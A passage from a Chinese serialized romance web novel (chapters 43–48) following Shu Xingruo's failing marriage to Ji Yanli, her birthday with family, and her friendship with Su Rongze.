苏容泽真诚的说道:“你是一个那么善良的人,你配得上更好的生活,希望你尽早离婚,过上更加舒心的日子。”
“你是希望她早点离婚嫁给你吗?”季宴礼的声音猛地从两人身后响起。
苏容泽回头,目光如炬:“你放手我就会娶她。”舒星若惊得下巴都快掉下来了,愣愣的看着苏容泽。
季宴礼火气直冲天灵盖,一拳朝着苏容泽的面门挥过来,苏容泽侧身躲过,手上的拳头毫不示弱的挥下。苏容泽动作更快,季宴礼肩头生生挨了一拳,他更加愤怒,手脚并用的跟苏容泽打了起来。苏容泽不甘示弱,一拳一脚的反击,打得不可开交。
舒星若大喊:“住手。”
两人没一个人搭理她,越打越起劲,季宴礼嘴里骂着:“你什么东西,敢觊觎我的老婆。”
苏容泽说:“你配不上星若。”
“配不配得上轮不到你来管。”
舒星若喊:“你们再打我就报警了,进了公安局,你俩明天都上热搜。”
两人这才停手。
舒星若忙上前查看苏容泽的伤势,他左脸挨了季宴礼一拳,嘴角出血。舒星若关切的问道:“要我帮你敷药吗?”
苏容泽摇摇头:“我没事。”
一旁的季宴礼脸都快气歪了,“舒星若,我是你老公,你不问我的伤势你关心别的男人?”
舒星若冷冷的说道:“怎么你还记得你是我老公?我被人害得流产你在哪里?你的小三跟我争抢地皮的时候,你帮忙加价。你这样的老公我不想要。”
季宴礼咬牙切齿道:“你不要也得要,舒星若,我警告你,你要是敢离开家,我就让你见不到儿子。”
苏容泽对季宴礼的无耻算是大开眼界了,他说:“季总,君子有成人之美。你既然不爱星若,何不放她自由?我听说你的腿伤是她治好的,你就当还她的恩情吧。”
季宴礼怒道:“我们夫妻之间的事,轮不到你插嘴。”
苏容泽挨打,舒星若十分内疚,她柔声说:“你先回去吧,你越刺激他,他越疯。”
苏容泽低头说:“好,有事记得给我打电话。”
看着苏容泽驱车离开,舒星若才走回别墅里。
季宴礼在后面黑着脸跟着她走,舒星若回到自己房间要关门,季宴礼却挤了进来。
“你看不见我受伤更严重吗?”
舒星若翻了个白眼:“是你自己先动手的,受伤了也是活该。”
季宴礼心里突然一阵疼,以前他有个头疼脑热的,舒星若都悉心为他诊治。今天自己被别人打得鼻青脸肿了,她看都不看一眼。
季宴礼抓住她的手腕,眼神炙热:“你果然看上了苏容泽,现在瞧不上我了。你觉得他们苏家会让他娶一个二婚生过孩子的女人吗?”
舒星若挖苦道:“你都能喜欢一个被人玩了六年的绿茶,我凭什么不可以嫁给他?至少他没你这么龌龊。”
季宴礼气得手上更加用力,舒星若疼得几乎窒息。
“我警告你,不要污蔑欣欣,她不是单纯这次都不会上你的当。只有你这种心机深沉的女人,前脚要和我离婚,后脚就去把苏容泽迷得团团转。”
舒星若使上全身的力气,趁季宴礼不备,对着他的下身狠狠地来了一脚。季宴礼痛得勾住了身子,骂道:“你想死吗?”
舒星若居高临下的瞪着他:“季宴礼,是你先欺负我的。我警告过你,不要再惹我,否则我废了你。”
季宴礼大喊:“刘管家,快过来。”
刘管家马上冲进来,将他扶进了房间里。
经历过上次的事情,舒星若已经将房间的门锁换了,只有自己有钥匙,她厌恶季宴礼跟她接触。
洗完澡的舒星若,坐在窗前吹头发,看到院子里季宴礼的车离开了。
她自嘲的笑了笑:“都这样了,还出去找何欣鬼混,看来得给他下点猛料。”
季宴礼并不是去找何欣,他那地方太疼了,去医院看医生。舒星若刚那一脚虽然没多重,但敏感地方,痛得他差点昏厥。
他还怕影响了功能,去医院检查才放心。
舒星若吹了一半头发,苏容泽给她打电话:“我到家了。”
舒星若忙问:“你的伤势怎么样了?”
苏容泽说:“没什么大问题,季宴礼后来没为难你吧?”
“跟我吵了几句,现在出去鬼混了。”
苏容泽顿了顿说道:“我刚刚说娶你是为了气季宴礼,你不要有心理负担。”
舒星若淡淡的笑:“你是天之骄子,怎么会娶一个二婚女人,我有自知之明的。”
苏容泽慌了:“我不是这个意思,我是怕你以后不理我。你只是结过婚,又不是什么十恶不赦的大罪。而且你那么优秀又善良,跟你相处让人如沐春风。”
“谢谢苏总的夸奖,晚安!”
“晚安!”
她吹完头发刚睡下,刘管家的电话来了:“太太,医生说先生情况比较严重,需要家属过来一趟。”
第43章 别来烦我
舒星若毫不在意的说:“我住院的时候没找他,他住院也不要烦我,我要睡觉了。就这样,再见。”
说完就要挂电话,刘管家开的扩音,季宴礼听到她漫不经心的声音气得要吐血,他抢过手机:“舒星若,我命令你,立刻、马上给我滚到医院来。否则我报警你家暴我。”
舒星若听着他中气十足的样子,说道:“你又没事,要我来干嘛?家里多的是佣人,我没那个闲工夫伺候你。你找何欣伺候你也行,不过人家是千金大小姐不一定会啊。哦,对了,你报警的时候最好跟警察说是你先动手的,我只是防卫而已。”
“你……”季宴礼气得语塞,他竟不知道舒星若这么伶牙俐齿的。
其实医生说他没什么事,给他止了痛,让他回家。为了引起舒星若的注意,他特意住院的。
想不到她压根就不在乎,舒星若对他的态度急转直下,季宴礼接受不了舒星若不再重视他。
他愣神之时,舒星若已经把电话挂了。再打过去她已经关机了,舒星若才不想跟着傻缺继续掰扯。
她昨天刚动完手术,今天不是投标她都在家休息了。她的身体季宴礼根本就不在乎,但是她自己必须疼爱自己。
季宴礼再也没心思住院了,叫刘管家办了出院手续,又跑回家了。火急火燎的冲到二楼,看到舒星若房间的灯灭了,他叫刘管家拿钥匙开门,刘管家摇头,“太太把锁换了,我没有钥匙。”
季宴礼心口像被大石头砸了一下,以前她的房门从来不锁,一直等着他来,现在她拒他于千里之外。
他必须要跟舒星若好好谈谈了。
早上舒星若打开手机就收到了大家的生日祝福,季知许、韦瑛、林安禾和宁可芳。宁可芳叫她晚上回家吃饭过生日,季知许说他准备了礼物。
舒星若对着手机开心的笑了,有这么多人爱自己,幸福满满的。
她洗漱完下楼吃早餐,都快九点了,季宴礼竟然没有去上班。他穿了一套瓦蓝的高定西装,头发精心打理过,比他平常还要帅气精致几分。他不信舒星若不被他吸引。
看到他,舒星若脸上的笑意瞬间消散。
季宴礼捕捉到了:“你现在就这么讨厌我吗?”
舒星若没有回答他,转身要走,季宴礼起身抱住她,她身上的馨香飘进他的心里。
他柔声道:“我们就不能坐下好好谈谈吗?”
舒星若嫌恶的推开他,眼神冰冷:“你要谈什么?”
季宴礼望着她,低声说道:“你像以前一样的对我好不好?”
“不好。”舒星若斩钉截铁的拒绝。
季宴礼说:“我知道你没了孩子伤心,可是我们的生活总要继续。我答应你,只要你像以前一样对我,我让你搬进主卧跟我一起住。”
曾经她多次要求过跟他一起住,他从来都不同意,现在舒星若已经不需要了。
舒星若面无表情的说:“不用,谢谢。睡在你身边我嫌脏。”
“我没有碰过何欣。”
舒星若拉出椅子坐下,望着季宴礼晦暗不明的脸,“季宴礼,我真的弄不明白你,你这边吊着我,那边又跟何欣好着,你觉得我是那么好欺负的吗?”
她抬高了声音:“我告诉你,有我没她,有她没我。你别成天跟我逼逼赖赖,我就想跟你离婚。”
季宴礼蹲下身来,抬眸望着舒星若的眼睛,郑重的说道:“要是我跟她断了,你能回心转意吗?”
舒星若说:“不能,我已经不爱你了。”
季宴礼猛地站起来,眼神如同凝结寒冰:“那我们就互相折磨着度过余生吧。”
他说完就出门上班了。
舒星若眼皮直跳,不知道他又要发什么神经。不过她也不怕,脑海中已经想好了法子对付他。
她悠哉悠哉的吃完早餐,她跟公司的人说了,在家修养一个礼拜。
她对自己的身体还是比较重视的,而且工业用地没拿下,他们走日化线比开制药厂事情少很多,目前就等着市场调研报告出来。
她打电话回公司,给技术员发了一个方子,叫他们做些熏香送过来。
拿到方子之后技术员黎堪说:“舒总,您这香是什么功效的?”
舒星若神秘的说:“山人自有妙用。”
下午她打车回了舒家,宁可芳已经从韦瑛的口中知道了她流产的事,心疼得落泪。她也笃定是何欣指使文友兰干的,明眼人一眼能看出来的事,季宴礼居然还不信。不是蠢就是坏,舒星若跟他离婚就对了。
舒延兆也知道了这事,特意早早回家。他望着舒星若苍白的脸直摇头,帮舒星若号脉,眉头锁成川字,沉重的说道:“星若,那女人下的药太猛,你这身子以后可能无法生育了。”
舒星若心里“咯噔”一声,无法生育?转念一想,她都要跟季宴礼离婚了,不能生就不能生吧,也不影响生活。
见舒星若并不悲伤,舒延兆心情稍微舒展一些,他安慰道:“我好好帮你调着,也许以后能好。”
舒星若却不是很在意,“我要跟季宴礼离婚了,不能生孩子问题不大。”
宁可芳急了:“你还这么年轻,离婚以后就不找了吗?”
舒星若轻笑:“不想找了,这奇葩的婚姻有一次就够了。”宁可芳深知她被季宴礼伤得太重,心结也不是一时半会就能打开的,也不再劝她。
舒延兆见舒星若手腕上的红肿,忧心的问道:“季宴礼欺负你了?”
舒星若点点头,“不过我踢了他,还回去了。”
舒延兆当即教了她怎么卸人胳膊的方法,“下次他再欺负你,你把他胳膊卸了。等他疼得差不多了再给他装上去。就算他去验伤也查不出痕迹。”
舒星若觉得这个方法太好了,认真的学了起来,不到半小时就学会了。她心想:“下次何欣俩母女跟季宴礼再挑衅我,就这么对付他们。”
韦瑛和季家安带着季知许过来了,季知许两天没看到妈妈,挂念得厉害。他知道母亲流产了,小心翼翼的问:“妈妈,你还好吧?”
舒星若牵起他的小手:“没事了,妈妈坚强着呢。”
季家安环顾了四周,没发现季宴礼的身影,问道:“宴礼没来吗?”
第44章 她生日关我屁事
舒星若摇摇头:“他从来不给我过生日,不用通知他。”季宴礼来了她反而堵心。
韦瑛满心满眼的心疼,刚没了孩子,过生日丈夫还不来,搁谁心里都不好受。她悄悄给季宴礼发信息:【星若今天生日,我们在舒家,你赶快过来。】
季宴礼心里还气着舒星若不肯原谅他的事,回了句:【关我屁事!】
韦瑛血压瞬间升高:【你这说的是人话吗?外面的女人你给她大办生日宴,自己老婆过生日不闻不问的。】
季宴礼不再回她,要不是大伙都在,她高低得打电话臭骂他一顿。
季家安低声问韦瑛:“那臭小子真的不来了吗?”
韦瑛叹气,舒星若看见了,她安慰二老:“不要紧的,他不来我们还尽兴些。”
季知许拿出自己的礼物,他在网上淘了一块上好的羊脂玉,叫韦瑛帮他找了玉雕师傅做了一个手镯,上面雕的是舒星若喜欢的海棠花。
做工非常精致,玉体通透,舒星若戴上之后特别欢喜,“谢谢许许,妈妈很喜欢!”
季知许傲娇的说:“我精挑细选的礼物,妈妈喜欢那是必须的。”
韦瑛找人定做了一件米白真丝缎刺绣风衣,舒星若试了下,穿着格外的灵动,像跌落人间的仙子。
舒星若说:“妈,您这眼光也太好了吧。”
季知许上前来:“奶奶的审美是顶级的,妈妈的身材也是顶级的,相得益彰呢。”
众人大笑,舒星若说:“你不得了了,连相得益彰都知道。”
他小脸一扬,“我知道的东西多着呢。”
林安禾此时到了,她买了一只手工真皮包给舒星若,巧的是颜色和图案跟韦瑛送的风衣特别搭。
舒星若开心的说道:“你们太有默契了。”
还有一会开饭,季家安和舒延兆对弈,舒星若他们在聊天,季知许一个人玩平板。
韦瑛叹气:“星若,你要好好养着身体。我知道一定是何欣害你的,但是宴礼我们劝不动,他就是不信。不过你这次出手对付她,我可太高兴了。那种不要脸的货色,就该气死她。”
林安禾说:“我听说他家在紧急低价卖港城的房子,季氏集团的股东挺给力的,要他们在一个月之内还钱,还不起就报警。”
韦瑛第一个拍手叫好:“活该。”
宁可芳不看财经新闻,不知道这事,她好奇的问:“到底发生了什么?”
舒星若简单的将事情讲了一遍,宁可芳心疼的望着舒星若,“你打小就不喜欢勾心斗角的事,一心一意的只爱学医,现在不是被逼入绝境你也不会这样做。”
韦瑛抱歉的说道:“都是我那个不成器的儿子惹出来的,害得星若殚精竭虑。”
舒星若淡然:“妈,没关系的,路是我自己选的,现在后悔也没有用,活好当下就行了。”
韦瑛小心翼翼的问:“你还要跟宴礼离婚吗?”
舒星若给宁可芳使了个眼色,说道:“走一步看一步吧。”
韦瑛看到了点希望,她得好好撮合撮合他俩。
菜上齐了,众人入席吃饭。大家举杯祝舒星若生日快乐,年年岁岁有今朝。
舒星若笑着说:“谢谢大家陪我过生日,虽然最近发生了很多事,但是我相信来日光明璀璨。”
季家安点头道:“我最喜欢星若不服输的精神,当年如果不是你的不离不弃,宴礼就废了,我们季家就毁了。星若,无论你将来跟他怎么样,你永远都是我们的家人。”
舒延兆很不喜欢提季宴礼,“老季,今天咱们高兴,就不提你那个扫兴的儿子了。”
季家安叹气:“他的瞎眼病不知道什么时候能康复。”
舒星若忙转移话题:“大家试一下王阿姨做的创意菜,全是对身体好的食材。”
众人提筷边吃边聊了起来,味道着实不错。
季家安对舒延兆说:“老舒,哪天你退休了,去我家住吧,咱俩每天把酒言欢,下棋钓鱼。”
舒延兆感慨:“我这闲不住,而且看到那些被顽疾折磨的病人我实在不忍心。本来想着星若接我的班就可以退休了,她跑去做生意了,我只能继续发光发热。”
季家安敬了他一杯酒:“你的精神我是打心底的佩服,那我就没事来你家坐坐。”
“没问题。”
吃完饭,宁可芳带着王阿姨收拾好桌子,开始唱生日歌切蛋糕。大伙在蛋糕前合影,舒星若发了条朋友圈:“28岁了,愿万事顺遂!感谢我亲爱的家人们陪我过生日。有你们真好。”
苏容泽很快刷到了这条朋友圈,他看了一眼大合照没有季宴礼,心里莫名一阵喜悦。火速在那条朋友圈下面点赞并评论:【祝你永远健康美丽!PS:礼物明天补给你。】
季宴礼也刷到了舒星若的朋友圈,他不知道在什么场合加了苏容泽,看得到苏容泽的评论,这条评论将他气得心口疼。
他给苏容泽发微信:【把你的评论删了。】
苏容泽回:【我为什么要听你的?你都不敢在评论下回复我?】
季宴礼:【我为什么要回复你?】他是不想别人看见,发现了他和舒星若的关系。
苏容泽猜中了他的想法,回道:【你既然不想承认她,也不愿意给她过生日,我做什么与你无关。】
季宴礼:【你送什么给她都没用,我不放手,她就得一直乖乖待着我身边。】
苏容泽想起舒星若提过的分居申请,不免有点想看生效后季宴礼的表情。
【那祝你好运!】
季宴礼心头一跳,自言自语道:“他到底什么意思?”
给言永飞打电话:“舒星若脖子上的项链是她自己买的吗?”
言永飞说:“不是,是别人送的。”
“苏容泽吗?”
“对!”
季宴礼怒火中烧,她竟然戴别的男人送的项链。他拿起电话拨通舒星若的电话,吼道:“舒星若,你赶紧给我滚回来!”
舒星若不知道他又在发什么神经,轻飘飘的说:“我今天不回来了,儿子累了,在外婆家住下了。”
电话那头传来盲音,季宴礼打给言永飞:“把舒星若外婆家地址发过来。”
第45章 我要在你家睡
拿到地址后,季宴礼马上让高峰开车送他去舒家。到的时候快十一点了,他敲门,王阿姨心想哪个王八羔子大半夜的扰人清梦,嘴里骂骂咧咧的来开门。
见到一位长身玉立面容俊朗的男子,微微愣神:“请问你是谁?”
季宴礼顿了顿说道:“我是舒星若的老公。”好像在外面承认她的身份也不是很难。
王阿姨原本欣赏的眼神变得冷淡,奚落道:“吆,稀客啊,结婚六年了才知道上门。我还以为你这辈子都不会来了呢。”
季宴礼忍着气,再次问道:“舒星若呢?”
王阿姨没好气的说:“若若睡了。”
季宴礼自顾自的走进去:“我进去看看。”
来到舒星若房间,她半靠在床上看书,淡黄的灯光下整个人温柔又沉静。
季宴礼忽然有点想亲她。
舒星若抬头看见他,眼神变冷:“你来干什么?”
季宴礼低声问:“你生日为什么都不告诉我?”
舒星若嘲讽的笑:“你妈告诉你了你也不来,现在跑来质问我。季宴礼,你确定自己的脑子没问题吗?”
他俯身揽住她的纤腰,在她耳边挑逗的说:“我们是夫妻,我想你亲口告诉我。”
舒星若打了个冷战,猛地推开他:“别来这一套,我不是呼之则来挥之即去的,你要发浪找何欣去。”
她整个人呈防御姿势,准备用下午舒延兆教的方法对付他。
提起何欣,季宴礼一脸不悦,“舒星若,你非要这么扫兴吗?”
“对,我就是扫兴,别来沾我。”
季宴礼无赖的说道:“你非要大晚上的吵架把一家人吵醒吗?是的话,我不介意。”
舒星若按下心头的气,“你到底想干嘛?”
“我今晚想睡这。”
舒星若差点从床上跳起来:“不行,家里没有多余的房间了。”
“我睡你房间就行,你放心,你身体没好,我不碰你。”
舒星若在心里骂了一百遍妈卖批。
季宴礼没有带睡衣,舒星若在柜子深处找出一套男士睡衣递给他,这是以前为他准备的。以前舒星若求过他,让他陪自己回娘家。他拒绝过很多次,她就再也没提过了。
季宴礼从浴室出来的时候,她已经缩在床边睡着了。离床的中心很远,好像生怕挨着他。
他钻进被窝,觉得她整个人很香,这是他们结婚六年来第一次睡在一张床上。
他心里有些荡漾,想伸手抱她入怀,又怕吵醒她。
他叹了口气,“来日方长。”
一觉睡到早上七点,舒星若起床,季宴礼也醒了,他微笑道:“早!”
舒星若没有回应他,直接去了季知许房间,季宴礼像个跟屁虫一样跟在她身后。
季知许见到季宴礼跟在舒星若身后,不禁尖叫出声,喜出望外:“爸爸,你怎么来了?”
季宴礼将他从床上抱下来,“爸爸想你们了。”
季知许搂着他的脖子,亲昵的说道:“昨天妈妈生日,你看我送的玉镯好看不?”
季宴礼看了一眼舒星若白嫩的手腕,玉镯仿佛与肌肤融合,煞是好看。想不到儿子小小年纪竟然这么贴心。
季知许问:“你送妈妈什么礼物了?”
季宴礼说:“爸爸昨天忙忘了,今天补上。”
他昨晚让言永飞去订了一条钻石项链,十点钟专柜开门就去取。
三人洗漱完去餐厅吃饭,舒家二老听王阿姨说了季宴礼来的事。舒延兆很不高兴,他指着舒星若的手腕说:“季宴礼,你下次再敢动她,我拆了你的骨头。”
季宴礼毕恭毕敬的说:“上次是我不对,以后不会再犯浑了。”
宁可芳拉舒星若进厨房小声说:“他来干什么?”
舒星若说:“大概是受刺激了发神经,您放心,我不会再要他了。”
回到餐桌上,大家吃起了早餐,季宴礼说:“一会吃完饭你就回家吧。”
舒延兆开口道:“若若被你的小三害得不能再生育了,她在家住一段时间,我帮她调理调理。”
季宴礼手里的牛奶“啪”的一声掉了下来,他声音颤抖:“不能再生了?”
他恨自己之前脑子发昏,没有保护好舒星若。他对舒星若说:“对不起,以后我会保护好你。”
舒星若礼貌又疏离的说了句谢谢。
季宴礼说:“你是不是不信我?”
舒延兆沉声道:“你连害若若的小三都不处理,谈什么信任?”
季宴礼辩解道:“没有证据是她做的,只要查到真凶我一定不会放过。”
舒延兆放下筷子,冷哼一声:“那你就慢慢查吧。以后不要上我家来了,我看到你吃不下饭。”
他拎着包去上班去了,宁可芳让王阿姨给他打包了食物路上吃。
大家沉默的吃完早餐,季宴礼让高峰送季知许去上学。
他跟舒星若回了房间,舒星若纳闷:“你不用上班的吗?”
“对不起,我不知道你……”季宴礼满脸内疚。
舒星若不耐烦的打断他:“你走吧,你舍不得处理何欣,就不用跟我说这些有的没的。”
季宴礼烦躁的说:“我说过很多次了,没有证据指出是她做的,你让我怎么处理?”
舒星若说:“知道了。”
季宴礼的手机响了起来,显示的是“欣欣”,他在犹豫要不要接,舒星若嘲讽的说道:“季总,接吧,你的红颜知己很需要你呢。”
季宴礼接了起来,电话那头却是田玉芬的声音:“宴礼,欣欣割腕自杀了,你快点来医院。”
“自杀?”季宴礼脸色大变,“我马上过来。”
他转头对舒星若说:“何欣自杀了,我要去医院一趟。”
舒星若淡淡的说:“看吧,何欣一有事你就紧张,你不要再自欺欺人了。”
“你不要无理取闹好不好,她都快没命了,她好歹是你的姐姐。”
舒星若忍不住笑了:“你别侮辱姐姐这个词了,自杀?真想死悄无声息的就死了,还等着你去英雄救美吗?”
季宴礼头不想跟她吵,头也不回的走了。
舒星若并不伤心,手机响了,是林安禾发的微信,点开是一个女人的画像。舒星若觉得好像在哪见过。
林安禾的电话已经打过来了:“这是当年警方根据你的描述画的画像。”
第46章 他们很般配
舒星若心脏狂跳:“对,是很像那个女人。你找到她本人了吗?”
林安禾说:“没有,这画像是我一个师兄帮我在警局档案里找到的。我会尽力帮你去找这个女人,就是不知道她人还在不在国内。不在国内的话就很麻烦了。”
舒星若叹气:“不急,慢慢找,反正都这么多年了。”
她接着说道:“对了,何欣又出新招了,玩自杀。”
林安禾:“靠,真绿茶。季狗是不是屁颠屁颠的去了?”
“对,跟傻逼一样。”
林安禾说:“她大概又要从季狗身上捞钱了,或者是逼你们离婚。”
舒星若叹口气说:“我挺矛盾的,我既希望何欣能逼季宴礼跟我离婚,但又怕何欣嫁给他,一旦嫁了我就拿她一点办法都没有了。”
林安禾:“纠结什么呀?你俩还有一段时间就自动离了,反正不能让那女人得逞就对了。那种恶毒绿茶,真让她嫁给季狗,你跟许许还有活路吗?”
“对!还是你机灵。”
两个人在电话里骂了一会渣男绿茶,又聊到了何欣和杨思淼的事,林安禾激动:“季狗要是知道他俩的过往,不得吐血啊。”
“杨思淼说等我治好他,他帮我。”
林安禾大笑:“到时候记得带上我看热闹。”
“好!”
挂了电话,舒星若想了想,给刘管家打过去,“我房间里有一盒熏香,先生最近压力大,你晚上帮他点上,安神的,他闻着睡觉能舒服些。”
刘管家听到舒星若关心季宴礼,瞬间老泪纵横,太太终于回心转意,又对他好了。
“好的,每天晚上我都帮他点上。”
舒星若说:“谢谢你!”
“太太不用客气。”
上午十一点左右,言永飞来给舒星若送项链,舒星若连盒子都没打开,只客气的道了谢。
言永飞说:“季总还在医院陪何小姐,他说他晚上来看您。”
舒星若丝毫不在意:“我知道了,何欣肯定死不了。不用他来看我,他来舒家不太合适,你跟他说我过几天就回去了。叫他晚上记得回家睡觉,我给他备了安神香。”
言永飞也嗑他俩的CP,高兴道:“好的,我一定一字不落的汇报给季总。”
舒星若盘算着那香点几天,季宴礼该“清心寡欲”了,她回季家别墅也不会被他骚扰了。
言永飞来到何欣的病房,季宴礼拿着笔记本在办公。言永飞说:“季总,我有事要汇报。”
“讲!”
言永飞看了一眼病床上的何欣,欲言又止。
季宴礼跟他走到医院走廊上,言永飞一字不落的讲舒星若的话复述了,季宴礼听完心花怒放。
言永飞趁热打铁:“季总,那您要回公司了吗?”
季宴礼说:“今天不回了,医生说欣欣重度抑郁,我怕她又想不开了。”
言永飞在心里叹气,就这样舒星若是不会跟他和好的。
下午三点,还在午睡的舒星若被电话吵醒。
是苏容泽。
“你今天没上班吗?”他去行止办公室给她送生日礼物,黄丽歌说她没来。
舒星若打着哈欠说:“打算休息一周,这几天住我外婆家。”
苏容泽很是意外:“你这个拼命三娘终于知道休息了。”
“我又不傻,身体是我自己的,累坏了受罪的还是我自己。”
苏容泽轻声问道:“我想给你送礼物,方便把地址发给我吗?”
“方便。”
舒星若把地址发过去,起床去客厅吃水果并喝茶。
她对王阿姨说:“晚上有个朋友过来吃饭,你多做两个菜。”
王阿姨一脸八卦的问:“男的女的啊?”
“男的。”
“好嘞。”她笑嘻嘻的去翻食谱,准备露一手好厨艺。
苏容泽下了班就过来了,王阿姨给他开门的时候着实被惊艳到了。她心想:“若若是会挑男人的,这个也好帅,比姓季的看起来更斯文一些。”
季知许看见他有些意外,“苏叔叔,你来找我玩吗?怎么不带恬恬?”
苏容泽扶了扶眼镜:“我是来给你妈补送生日礼物的。”
苏容泽将手中的礼物递给舒星若,是一枚蝴蝶盘口压襟,1200针法绣出灵动的蝶翼,夜光丝线混着七彩幻珠,美得让人挪不开眼睛。
舒星若又惊又喜:“你是从哪买的这么好看的压襟?”
苏容泽淡笑道:“偶尔看见的,觉得很衬你的气质就买来送你了。”其实是他一个月前托人定制的,想着有机会送给她,恰好她的生日便送过来了。
舒星若笑容绽放:“谢谢你,我太喜欢了。”
王阿姨做好了饭菜端了上来,特别丰盛,苏容泽心情大好,以为是舒星若特意吩咐的款待自己。一顿饭把自己吃得心花怒放。
舒星若问:“我家的菜这么和你胃口吗?”
苏容泽说:“是啊,以后我可以常来吃饭吗?”
“没问题,只要我在家你都能来。”
季知许扁扁小嘴,小声问舒星若:“妈妈,你是不是喜欢苏叔叔?”
舒星若摇头:“小孩子家不要胡说八道,苏叔叔是妈妈的朋友。”
他这才放下心来。
吃完饭,王阿姨泡了一壶茶来,送了几块糕点。舒星若问苏容泽:“下棋吗?”
“好!”
两人下了三盘围棋,苏容泽强势进攻,舒星若张弛有度的防守,适时的反攻一波,两人下得有来有回。最后以一胜一平一输告终。
时间不早了,舒星若送苏容泽出门。今夜月朗星稀,月光洒在两人身上,两人并肩而行,像一幅优美的画卷。从外面回来的宁可芳和舒延兆见到两人,都觉得特别般配。宁可芳低声说:“老舒,你觉得他俩是不是有情况?”
舒延兆摇头:“没有牵手啊。”
舒星若给他们介绍:“这是我外公外婆,这是我朋友苏容泽。”
宁可芳眼睛都笑弯了:“苏先生一表人才,有空多来家里坐。”
苏容泽见到舒延兆有些激动,与他握手:“久仰舒老的大名,您悬壶济世的事迹星若都跟我说了,我非常佩服。星若传承了您的衣钵,将我瘫痪的外婆治好了。”
舒延兆挑眉道:“喔,你们竟还有这样的渊源?”
第47章 季总表演深情
苏容泽惭愧的笑道:“一开始我还质疑星若呢,她觉得我像傻子。”苏容泽这辈子都记得舒星若当初看他的表情。
舒星若不好意思的朝他笑笑。
舒延兆说:“现在中医市场混乱,你不理解也是正常,若若很有天赋的。我希望将自己的医术全部传授给她,希望等她忙完手头的事能继续跟着我钻研医术。”
苏容泽凝神说道:“我知道星若做生意是要跟季宴礼抢抚养权,我一定会帮她的。”
舒延兆有些意外的看着他们:“若若这个都跟你说了?”
舒家二老一脸八卦之色在他俩脸上来回打量,舒星若尴尬的解释:“那个……苏总他比较仗义,又是个靠谱的人,他帮了我不少。”
舒延兆感激的说道:“那就谢谢你了!你们聊,我们先回去了。”
老两口边走还边回头看他们,苏容泽心中一阵窃喜,想不到她家里人这么喜欢自己。
舒星若幽幽的说道:“你是魅魔吗,一下子让我外公外婆对你印象这么好?”
苏容泽笑:“大概是我长在他们的审美点上了吧。”
舒星若说:“今天早上季宴礼在我家吃饭,他这么多年第一次来,我外公当场叫他不要来了,他说看见他吃不下。给季宴礼怼得说不出话来,他在那表演深情,然后被何欣一个电话叫走了。”
苏容泽听到这些更加高兴了,舒星若说:“不过你的人品确实比他强多了。”
苏容泽:“就当是你夸我了。”
她送苏容泽上车,临走的时候对舒星若郑重的说:“我刚说的都是真的,我一定帮你把行止生物做大做强,到时候你跟季宴礼争抚养权问题就不大了。”
舒星若愣神:“你干嘛要对我这么好?”
苏容泽心跳得很快,他脸上微微泛红:“因为你是我的恩人啊。”
舒星若无奈的叹气:“大哥,都跟你说N次了,不要再提恩不恩的了。”
“好,以后都不提了。”
季宴礼回到家闻见房间里熟悉的香薰味道,这种香他腿受伤的时候,整夜睡不着,舒星若每天都给他点。
他问刘管家:“这香怎么回事?”
刘管家说:“是太太特意让我点的。”
季宴礼心里一阵狂喜,舒星若又开始对自己好了。
他给舒星若打视频,舒星若挂了,她可不愿意看见他那张脸。回了条信息:【我在陪许许睡觉,不方便。】
季宴礼说:【谢谢你给我准备安神香。】
舒星若露出得逞的笑容:【不用谢,早点休息。】
这一晚季宴礼觉得自己睡得特别香,只是早上小帐篷没有立起来,他也没当回事。
舒星若在舒家住了两周才回季家,因为季宴礼每天都催,他说舒星若再不回去他就搬来了。
舒延兆说:“你这身体要多注意,我再想法子给你调理,应该能治好的。”
舒星若却不在意:“我反正要离婚了,不能生孩子不是什么大事。这辈子有许许就够了。”
“万一你要跟小苏结婚呢?”
舒星若一头黑线:“啊?我跟他,不可能的。人家是东盛集团的董事长兼总裁,他们苏家不比季家差,怎么会允许我一个二婚的跟他在一起?”
舒延兆不悦:“你这小小年纪就有这么多的迂腐思想。我不瞎,我看得出来他对你有意思,你喜欢他吗?”
舒星若摇头:“不喜欢,我就当他是个可靠的朋友,像安禾那样。”
“哎,可惜了。”舒延兆叹着气走了。
季宴礼让高峰来接舒星若,他自己没来,用脚想也知道是去陪何欣了。如今人家有抑郁症这张免死金牌,季宴礼都快成了她的助理了,随叫随到。
还没到季家,姚云就将所有的调研报告发过来了。
根据他的报告七白饮、祛斑霜和何首乌洗发皂最有市场前景。
姚云附赠的营销报告是走线上渠道,前期请网络达人带货,后期自己直播间直售即可。
舒星若立刻让高峰送她去公司,跟市场部和销售部开会,制定接下来的计划。
他们的产品是委托代工厂生产的,代工厂叫金林实业有限公司,是苏容泽牵线搭桥的,资质非常靠谱。
只要产品质量不掉链子,舒星若有信心成功打开市场。
首批的订单量在每件产品五千套,原本金林是不接这种小单的,看在苏容泽的面子上才接下来的。
销售部注册好了各大网购平台的旗舰店,市场部去抖音后台和小红书后台联系网红。
他们前期预算准备了两千万,整个公司整装待发,准备大干一场。
忙完之后,舒星若接了季知许回到季家。季宴礼也是刚回来,他凑近舒星若,还是熟悉的馨香。
季知许被父母喂了一嘴狗粮,小机灵鬼赶紧跑上楼。
季宴礼说:“我想你!”
舒星若在心里骂:“想你妈的,天天跟何欣泡在一起。”
她冷淡的说:“把你身上其他女人的香水味洗掉了,再来表演深情。”
季宴礼耳尖火热:“何欣她重度抑郁,我怕她想不开,所以才……”
舒星若打断他,眼含讥讽的说道:“你是心理医生吗?她得了抑郁症要你随时随地的照顾她?怕不是醉翁之意不在酒吧。”
他上前抱住舒星若,下巴抵住她的发顶:“我们好不容易见面了,不提她了好不好?”
舒星若翻了个白眼,心想熏香的配方还得重新调整。不着痕迹的推开他:“那你去换身衣服吧。”
舒星若闻到何欣的香水味想作呕。
季宴礼上楼洗完澡换了家居服下来,脸还是无懈可击的帅,但是舒星若觉得跟自己半毛钱关系没有。
刘管家吩咐厨师做了一桌子好菜,大部分都是舒星若爱吃的。
舒星若笑着对刘管家说:“谢谢你记得我的口味。”
季宴礼愣神,这些年他不关心舒星若,从来没有留意过她的喜好。他略带愧疚的说:“对不起,以前是我冷落你了,以后我会改正的。”
舒星若埋头干饭,头也没抬:“好!”
季宴礼轻声在她耳边说:“以后我们睡一间房间好不好?”
第48章 在家是甜蜜夫妻
舒星若蹙眉,不知道他又在发什么神经,突然提这个事。
“这个以后再说吧,儿子还在饭桌上呢。”
季知许假装自己什么都没听见,埋头苦吃,耳朵却竖着听。
季宴礼说:“儿子在也没关系,以后我要好好对你,我们一步一步来可以吗?”
舒星若没有回答他,默默吃饭。
